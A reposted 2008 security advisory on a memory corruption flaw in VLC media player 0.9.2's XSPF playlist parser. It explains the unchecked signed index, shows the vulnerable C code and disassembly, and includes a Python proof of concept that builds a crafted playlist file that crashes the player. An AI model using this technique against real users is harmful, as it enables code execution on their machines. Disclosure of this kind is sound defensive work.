‘VLC Media Player XSPF Memory Corruption’
Summary
‘VLC media player is an open-source, highly portable multimedia player for various audio and video formats, as well as DVDs, VCDs, and various streaming protocols. It can also be used as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network.
Credit:
‘The information has been provided by CORE Security Technologies Advisories.
The original article can be found at: http://www.coresecurity.com/content/vlc-xspf-memory-corruption‘
Details
‘Vulnerable Systems:
* VLC media player version 0.9.2
Immune Systems:
* VLC media player version 0.9.3 (no official binary files available for Windows platform)
* VLC media player version 0.9.4
VLC media player has support for the XML-based XSPF playlist format. Every track in an XSPF playlist has a number of attributes, such as ‘identifier, location, title and duration’. The ‘identifier’ attribute is a numeric value that indicates the position of the track in the tracklist. Here’s a sample playlist in XSPF format:
/———–
<?xml version=’1.0′ encoding=’UTF-8′?>
<playlist version=’1′ >
<title>Sample playlist</title>
<location>C:my-playlist.xspf</location>
<trackList>
<track>
<identifier>0</identifier>
<location>C:My%20musictrack1.mp3</location>
<extension application=’http://www.videolan.org/vlc/playlist/0’>
</extension>
<duration>239099</duration>
</track>
<track>
<identifier>1</identifier>
<location>C:My%20musictrack2.mp3</location>
</track>
<track>
<identifier>2</identifier>
<location>C:My%20musictrack3.mp3</location>
</track>
</trackList>
<extension application=’http://www.videolan.org/vlc/playlist/0’>
<item href=’0′ />
<item href=’1′ />
<item href=’2′ />
</extension>
</playlist>
———–/
VLC media player’s XSPF playlist format parser (‘demux/playlist/xspf.c’) does not properly perform bounds-checking before using the ‘identifier’ attribute value to index an array on the heap to write data on it.
In the first place, the parser reads the ‘identifier’ attribute of a track and converts its value to ‘int’ type using the ‘atoi’ function from the standard C library, and saves it to the ‘i_identifier’ field of a ‘demux_sys_t’ structure:
/———–
575 else if( !strcmp( p_handler->name, ‘identifier’ ) )
576 {
577 p_demux->p_sys->i_identifier = atoi( psz_value );
578 }
———–/
After that, at lines 501-502, the parser compares ‘i_identifier’ with ‘i_tracklist_entries’. This last field is a counter that holds the number of tracklist entries that were successfully parsed at the moment.
If ‘i_identifier’ is less than ‘i_tracklist_entries’, the value of ‘i_identifier’ is used to index the ‘pp_tracklist’ array, and ‘p_new_input’ is written on that position (at line ‘505’).
/———–
501 if( p_demux->p_sys->i_identifier <
502 p_demux->p_sys->i_tracklist_entries )
503 {
504 p_demux->p_sys->pp_tracklist[
505 p_demux->p_sys->i_identifier ] = p_new_input;
506 }
———–/
Since the XSPF parser does not perform bounds-checking before indexing the array to write on it, and having ‘i_identifier’ fully controlled by the user, an attacker may overwrite almost any memory address with ‘p_new_input’.
This is the disassembled vulnerable code:
/———–
70246981 . 39C2 CMP EDX,EAX ; i_identifier < i_tracklist_entries?
70246983 . 7D 29 JGE SHORT libplayl.702469AE
70246985 . 8B2B MOV EBP,DWORD PTR DS:[EBX] ; EBP = pp_tracklist = 0
70246987 . 8B7C24 44 MOV EDI,DWORD PTR SS:[ESP+44] ; EDI = p_new_input
7024698B . 897C95 00 MOV DWORD PTR SS:[EBP+EDX*4],EDI ; Saves p_new_input in pp_tracklist[i_identifier]
———–/
At this point, when parsing the first track of the playlist, ‘i_tracklist_entries’ value is 0. The parser performs a signed comparison between ‘i_identifier’ and ‘i_tracklist_entries’, so by providing a negative value for ‘i_identifier’, an attacker can avoid that conditional JGE jump to be executed. After that, EBP is always 0 and the attacker controls EDX, so he can write ‘p_new_input’ to almost any memory address aligned to a 4-byte boundary. ‘p_new_input’ is a pointer to a structure of type ‘input_item_t’, that holds information about the playlist item being processed. At ‘p_new_input + 0x10’ there is a pointer to the track filename (provided by the ‘location’ attribute), excluding the path.
This track filename (which is UTF-8 encoded) is controlled by the user too, so if an attacker overwrites a specially chosen memory address and the program executes some instructions that load ‘p_new_input’ into a CPU register and perform an indirect call like ‘CALL DWORD[R32 + 0x10]’ (where R32 is a 32-bit register), it will be possible to get arbitrary code execution with the privileges of the current user.
Proof of Concept:
The following Python code will generate an XSPF file that, when opened with VLC media player 0.9.2, will crash the application when trying to write ‘p_new_input’ to memory address 41424344.
/———–
xspf_file_content = ”’
<?xml version=’1.0′ encoding=’UTF-8′?>
<playlist version=’1′ >
<title>XSPF PoC</title>
<location>C:My%20Musicplaylist.xspf</location>
<trackList>
<track>
<identifier>-1873768239</identifier>
<location>C:My%20MusicTrack1.mp3</location>
<extension application=’http://www.videolan.org/vlc/playlist/0’>
</extension>
<duration>239099</duration>
</track>
</trackList>
<extension application=’http://www.videolan.org/vlc/playlist/0’>
<item href=’0′ />
</extension>
</playlist>
”’
crafted_xspf_file = open(‘playlist.xspf’,’w’)
crafted_xspf_file.write(xspf_file_content)
crafted_xspf_file.close()
———–/
Report Timeline:
2008-10-10: Core Security Technologies notifies the VLC team of the vulnerability, and that the advisory CORE-2008-1010 will be published on October 14th, since the vulnerability is already fixed in VLC versions 0.9.3 and 0.9.4.
2008-10-12: VLC team confirms that the vulnerability has been fixed (the vulnerability was discovered and fixed by the VLC team on September 15th).
2008-10-14: Advisory CORE-2008-1010 is published.’